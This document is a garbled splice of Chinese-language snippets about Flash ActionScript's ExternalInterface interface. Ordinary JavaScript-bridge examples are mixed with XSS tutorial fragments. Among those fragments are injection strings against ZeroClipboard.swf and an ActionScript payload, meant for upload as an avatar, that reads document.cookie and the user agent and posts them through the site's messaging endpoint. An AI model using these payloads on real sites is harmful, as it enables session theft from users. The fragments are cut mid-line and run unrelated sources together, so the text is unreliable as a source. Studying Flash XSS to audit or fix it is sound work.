: private function createComplete(e:Event):void 55: { 56: ExternalInterface.call (CALL_FUNCTION_NAME + "limitError","文件超出最大限制"); //上传进度 ExternalInterface.call(CALL_FUNCTION_NAME ,"progress",event.bytesLoaded,event.bytesTotal); //上传完成 ExternalInterface.call(CALL_FUNCTION_NAME + "uploadComplete"); //上传成功 ExternalInterface.call(CALL_FUNCTION_NAME,"uploadSuccess",data.data ); //上传出现IO错误 ExternalInterface.call(CALL_FUNCTION_NAME + "ioError",e.text); 页面正常运行,选择文件(以图片为例
本文的目的是深层次的分析Flash的ExternalInterface的XSS漏洞,并提出比较有效的解决方案。 首先,我们看看什么情况下,会出现XSS。 ; import flash.external.ExternalInterface; public class XSSTest extends Sprite 第二种情况: 把flashvars传入的参数(或者其他能被别人控制的方式)当ExternalInterface.call的第二和第三个参数 这次,我们使用这段代码: public 在IE8下调试模式下,我们可以看到ExternalInterface的代码: ? ) { var objectId:String = ExternalInterface.objectID
Flash缺陷参数-ExternalInterface.call(参数一) ExternalInterface.call同样是一个Flash提供的可以执行js的接口函数, ExternalInterface.call 函数有两个参数,形如ExternalInterface.call("函数名","参数1")。 ){ ExternalInterface.call(a) } else { trace(100) } stop() 从外部获取参数func,使用ExternalInterface.call Flash缺陷参数-ExternalInterface.call(参数二) 有时候当反编译swf之后,会发现可控的参数的输出位置在ExternalInterface.call函数的第二个参数,方法和思路与第一个参数的时候类似 :String = root.loaderInfo.parameters.par if(ExternalInterface.available){ ExternalInterface.call(
漏洞知识库 网络安全/渗透测试/代码审计/ 关注 Flash Xss进阶 [ExternalInterface.call第一个参数] 除了上一节讲到的navigateToURL/getURL之外呢,另一个经常存在 XSS缺陷的as函数就是ExternalInterface.call,此函数作为FLASH与宿主页面javascript通信的接口,一般来说,有“2”个参数,第一个参数为所调用js函数名,后续的其他参数则为所调用的 javascript代码: alert(1) as代码 ExternalInterface.call("alert","1"); 2. 有的程序员就会觉得,直接弹出1太丑了吧。 } 然后在as里 ExternalInterface.call("myalert","1"); 3. 可以看到,最终这个参数被放到 ExternalInterface.call 的第一个参数中执行了。 13. 是不是很激动。
ExternalInterface.addCallback("readSharedObject", this.readSharedObject); ExternalInterface.addCallback ("readObjects", this.readObjects); ExternalInterface.addCallback("deleteObject", this.deleteObject); ExternalInterface.addCallback("deleteObjects", this.deleteObjects ("_gnayTrack.ready", paramObj); paramObj是root.loaderInfo.parameters,将paramObj作为ExternalInterface.call 有人问了,root.loaderInfo.parameters是个对象,怎么传入ExternalInterface.call?
for (var i:int = 0; i < 50000; i++) { ExternalInterface.call for (var j :int = 0; j < 50000; j++) { ExternalInterface.call
http://dl2.iteye.com/upload/attachment/0084/8542/becbfb6d-53ed-38ea-9cbb-58ed2ea51abd.png[/img] //导入ExternalInterface ("getFC",getFC); ExternalInterface.addCallback("setFC",setFC); ExternalInterface.addCallback("setFCUserObj ",setFCUserObj); 对上面的代码进行一下说明 import flash.external.ExternalInterface; 这里必须导出这个类,因为下面要使用ExternalInterface ("getFC",getFC); ExternalInterface.addCallback("setFC",setFC); ExternalInterface.addCallback("setFCUserObj ",setFCUserObj); 这里要说一下,例如:ExternalInterface.addCallback(“getFC”,getFC); 这里的括号里的第一个参数是js调用时使用的方法名,第二个参数是
import flash.display.Sprite; import flash.events.Event; import flash.external.ExternalInterface var a:* = workerToMain.receive(); trace("[Worker] " + a); ExternalInterface.call
漏洞知识库 网络安全/渗透测试/代码审计/ 关注 ExternalInterface.call第二个参数 讲完ExternalInterface.call的第一个参数,我们接着来讲第“2”个参数,之所以 有时候我们会遇到ExternalInterface.call("xxxxx","可控内容");的情况,那么这种情况下,如何构造XSS呢? 1. 有了上一节教程的基础,这次我们直接见实例。 接着我们先看看是否有getURL, ExternalInterface.call之类的。 ? 可以看到,我们搜索到的是下面这句: flash.external.ExternalInterface.call("custom_menu_swf", menu_array[_local2].href) ExternalInterface.call("函数名","参数1"); 实际上执行的是以下内容, try { __flash__toXML(函数名("参数1")) ; } catch (e) { "
"; //向JS注册方法,JS调用as3Function这个方法,就是执行callback这个方法 ExternalInterface.addCallback("as3Function",callback ); function callback($param:String):void { txt.text = $param; } //直接调用SJ的方法getReady ExternalInterface.call ("getReady"); 注意:先调用ExternalInterface.addCallback,再调用ExternalInterface.call JS代码: <html lang="en"> <head
package { import flash.display.Sprite; import flash.events.Event; import flash.external.ExternalInterface Object = this.loaderInfo.parameters; var kk:String = obj['kk']; if (ExternalInterface.available ) { ExternalInterface.call('alert', kk); } 文件,如果需要swf让js进行调用,则需要在代码中加上: Security.allowDomain("*"); Security.allowInsecureDomain("*"); 后再进注册:ExternalInterface.addCallback AS3调用JS所使用的方法:ExternalInterface.call 而JS调用AS3需要在AS3内先“注册”,而且必须要等待swf加载、注册完之后,才能调用它的方法 AS3内进行注册:ExternalInterface.addCallback
."); //调用js中的JsHello方法,并将返回值显示到Label中 lblResult.text=ExternalInterface.call("JsHello","AS3传递的参数"); } function CalledByJs(p:String):String { return "Flash中的CalledByJs被调用了,这是js中传过来的参数:" + p; } ExternalInterface.addCallback
flash.display.Sprite; import flash.events.Event; import flash.events.IOErrorEvent; import flash.external.ExternalInterface ) { ExternalInterface.addCallback("loadURL", loadURL); } System.useCodePage = true; var params:Object = root.loaderInfo.parameters; if (params.initCallback) { ExternalInterface.call function onCompleteHandler(evt:Event):void { var loader:URLLoader = evt.target as URLLoader; ExternalInterface.call * 请求时发生IO错误 * @param evt */ private function ioErrorHandler(evt:IOErrorEvent):void { ExternalInterface.call
https://midzer0.github.io/2016/wordpress-4.5.1-xss/ 1、Vulnerable Output 首先来看存在漏洞的输出, 99%的Flash XSS都是由于ExternalInterface.call 拿到源码之后, 第一件事就是看看源码中出现了几次调用ExternalInterface.call, 对应的参数是否都是可控的. console. **/ private static function outputlog(level : String, message : String) : void { if (ExternalInterface.available ) ExternalInterface.call('console.log', level + message); else trace(level + message); } }; HLSEvent对象b, 最后, 恶意对象b作为event参数被传入dispatchEvent函数, 进入Log.error时被隐式转换为字符串类型, 触发了toString方法, 对应的返回值传入了ExternalInterface.call
bool:Boolean; for (var i:int = 0, len:int = domainArr.length; i < len; i++) { //ExternalInterface.call
script以外的部分都比较友好,只要在域内就可以了,再加上,域内存在上传点,那么我们是不是可以构造一个Action Script payload,头像处上传 import flash.external.ExternalInterface ; var ck; ck = ExternalInterface.call('function(){return document.cookie}'); ua = ExternalInterface.call ('function(){return navigator.userAgent}'); ExternalInterface.call("$.post","submit.php",'to=qqc&message
event.detail : event.wheelDelta/40; var swfEl = getEl('swfId'); swfEl.mouseWheel(delta); } AS中添加代码: ExternalInterface.addCallback
id=\%22))}catch(e){(alert)(/XSS/.source);}//&width=500&height=500 原因显而易见,Externalinterface.call第二个参数传回来的 Flash Xss进阶 [ExternalInterface.call第二个参数] 通过多次手工的经验,列出如下可能存在ZeroClipboard.swf的payload目录 /ZeroClipboard.swf Flash Xss进阶 [ExternalInterface.call第一个参数] 因为这个例子说的就是swfupload.swf,这里就不再赘述了,我们看一下github上的修复方法 Fixes a
.*; ExternalInterface.addCallback("MsgBox", this, MsgBox); function MsgBox(msg:String) { Alert.show
flash.media.SoundLoaderContext; import flash.media.ID3Info; import flash.net.URLRequest; import flash.external.ExternalInterface